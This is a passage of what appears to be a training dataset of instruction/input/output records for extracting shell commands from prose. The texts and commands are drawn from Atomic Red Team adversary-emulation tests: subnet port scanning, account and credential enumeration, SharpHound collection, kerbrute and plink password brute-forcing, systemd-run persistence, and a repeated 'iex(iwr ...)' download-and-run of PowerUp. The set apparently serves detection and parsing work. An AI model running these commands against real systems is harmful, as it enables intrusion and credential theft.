    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To scan common ports in a /24 subnet, you can use the following command. If no IP address is specified, it will automatically detect the primary IPv4 address of the attacking machine: $ipAddr = \"#{ip_address}\"\nif ($ipAddr -like \"*,*\") {\n    $ip_list = $ipAddr -split \",\"\n    $ip_list = $ip_list.ForEach({ $_.Trim() })\n    Write-Host \"[i] IP Address List: $ip_list\"\n\n    $ports = #{port_list}\n\n    foreach ($ip in $ip_list) {\n        foreach ($port in $ports) {\n            Write-Host \"[i] Establishing connection to: $ip : $port\"\n            try {\n                $tcp = New-Object Net.Sockets.TcpClient\n                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\n            } catch {}\n            if ($tcp.Connected) {\n                $tcp.Close()\n                Write-Host \"Port $port is open on $ip\"\n            }\n        }\n    }\n} elseif ($ipAddr -notlike \"*,*\") {\n    if ($ipAddr -eq \"\") {\n        # Assumes the \"primary\" interface is shown at the top\n        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1\n        Write-Host \"[i] Using Interface $interface\"\n        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress\n    }\n    Write-Host \"[i] Base IP-Address for Subnet: $ipAddr\"\n    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.'))\n    # Always assumes /24 subnet\n    Write-Host \"[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'\"\n\n    $ports = #{port_list}\n    $subnetIPs = 1..254 | ForEach-Object { \"$subnetSubstring$_\" }\n\n    foreach ($ip in $subnetIPs) {\n        foreach ($port in $ports) {\n            try {\n                $tcp = New-Object Net.Sockets.TcpClient\n                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\n            } catch {}\n            if ($tcp.Connected) {\n                $tcp.Close()\n                Write-Host \"Port $port is open on $ip\"\n            }\n        }\n    }\n} else {\n    Write-Host \"[Error] Invalid Inputs\"\n    exit 1\n}; To check the availability of remote desktop services, use the following PowerShell command: Get-Service -Name \"Remote Desktop Services\", \"Remote Desktop Configuration\"",
    "output": "{\"command_list\": [\"$ipAddr = \\\"#{ip_address}\\\"\\nif ($ipAddr -like \\\"*,*\\\") {\\n    $ip_list = $ipAddr -split \\\",\\\"\\n    $ip_list = $ip_list.ForEach({ $_.Trim() })\\n    Write-Host \\\"[i] IP Address List: $ip_list\\\"\\n\\n    $ports = #{port_list}\\n\\n    foreach ($ip in $ip_list) {\\n        foreach ($port in $ports) {\\n            Write-Host \\\"[i] Establishing connection to: $ip : $port\\\"\\n            try {\\n                $tcp = New-Object Net.Sockets.TcpClient\\n                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\\n            } catch {}\\n            if ($tcp.Connected) {\\n                $tcp.Close()\\n                Write-Host \\\"Port $port is open on $ip\\\"\\n            }\\n        }\\n    }\\n} elseif ($ipAddr -notlike \\\"*,*\\\") {\\n    if ($ipAddr -eq \\\"\\\") {\\n        # Assumes the \\\"primary\\\" interface is shown at the top\\n        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1\\n        Write-Host \\\"[i] Using Interface $interface\\\"\\n        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress\\n    }\\n    Write-Host \\\"[i] Base IP-Address for Subnet: $ipAddr\\\"\\n    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)\\n    # Always assumes /24 subnet\\n    Write-Host \\\"[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'\\\"\\n\\n    $ports = #{port_list}\\n    $subnetIPs = 1..254 | ForEach-Object { \\\"$subnetSubstring$_\\\" }\\n\\n    foreach ($ip in $subnetIPs) {\\n        foreach ($port in $ports) {\\n            try {\\n                $tcp = New-Object Net.Sockets.TcpClient\\n                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\\n            } catch {}\\n            if ($tcp.Connected) {\\n                $tcp.Close()\\n                Write-Host \\\"Port $port is open on $ip\\\"\\n            }\\n        }\\n    }\\n} else {\\n    Write-Host \\\"[Error] Invalid Inputs\\\"\\n    exit 1\\n}\", \"Get-Service -Name \\\"Remote Desktop Services\\\", \\\"Remote Desktop Configuration\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To schedule a transient user-level task that won't persist after reboot, use the following command: systemd-run --user --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo \"$(date) $(whoami)\" >>/tmp/log'; Without creating .timer or .service files, you can schedule a temporary task by executing this command: systemd-run --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo \"$(date) $(whoami)\" >>/tmp/log'",
    "output": "{\"command_list\": [\"systemd-run --user --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo \\\"$(date) $(whoami)\\\" >>/tmp/log'\\n\", \"systemd-run --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo \\\"$(date) $(whoami)\\\" >>/tmp/log'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate all accounts, the following commands will be executed in sequence and display their output in the PowerShell session: net user\ndir c:\\Users\\\ncmdkey.exe /list\nnet localgroup \"Users\"\nnet localgroup; To enumerate all accounts and display user and group information, run the following PowerShell commands: net user\nget-localuser\nget-localgroupmember -group Users\ncmdkey.exe /list\nls C:/Users\nget-childitem C:\\Users\\\ndir C:\\Users\\\nget-localgroup\nnet localgroup\n",
    "output": "{\"command_list\": [\"net user\\ndir c:\\\\Users\\\\\\ncmdkey.exe /list\\nnet localgroup \\\"Users\\\"\\nnet localgroup\\n\", \"net user\\nget-localuser\\nget-localgroupmember -group Users\\ncmdkey.exe /list\\nls C:/Users\\nget-childitem C:\\\\Users\\\\\\ndir C:\\\\Users\\\\\\nget-localgroup\\nnet localgroup\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remotely list members of the local Administrators group using SAMR, run the following commands: New-Item -Path \"#{output_path}\" -ItemType Directory > $null\n& \"#{sharphound_path}\" -d \"#{domain}\" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory \"#{output_path}\"; To enumerate local groups on the system, you can use the following command: wmic group get name",
    "output": "{\"command_list\": [\"New-Item -Path \\\"#{output_path}\\\" -ItemType Directory > $null\\n& \\\"#{sharphound_path}\\\" -d \\\"#{domain}\\\" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory \\\"#{output_path}\\\"\\n\", \"wmic group get name\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For finding and saving particular commands in bash history, run the following: cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}\n; To search through shell history for specific commands, use the following command: cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file}\n",
    "output": "{\"command_list\": [\"cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}\\n\", \"cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The status of remote desktop services can be determined with the command: Get-Service -Name \"Remote Desktop Services\", \"Remote Desktop Configuration\"; You can identify listening ports on a host by executing this nmap command: nmap -Pn -sV -p #{port_range} #{host}",
    "output": "{\"command_list\": [\"Get-Service -Name \\\"Remote Desktop Services\\\", \\\"Remote Desktop Configuration\\\"\\n\", \"nmap -Pn -sV -p #{port_range} #{host}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves bruteforcing a user's password from a provided wordlist via the command: cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\\bruteuser.txt TestUser1 \n; An adversary might try to brute force a privileged account's password for privilege escalation, potentially locking the account in the process. This can be detected by running the following command: $lockout_threshold = [int]\"#{lockout_threshold}\"\nfor ($var = 1; $var -le $lockout_threshold; $var++) {\n  #{plink_file} -ssh \"#{vm_host}\" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002\n  }\n",
    "output": "{\"command_list\": [\"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\\\\bruteuser.txt TestUser1 \\n\", \"$lockout_threshold = [int]\\\"#{lockout_threshold}\\\"\\nfor ($var = 1; $var -le $lockout_threshold; $var++) {\\n  #{plink_file} -ssh \\\"#{vm_host}\\\" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002\\n  }\\n\"]}"
  },
  {
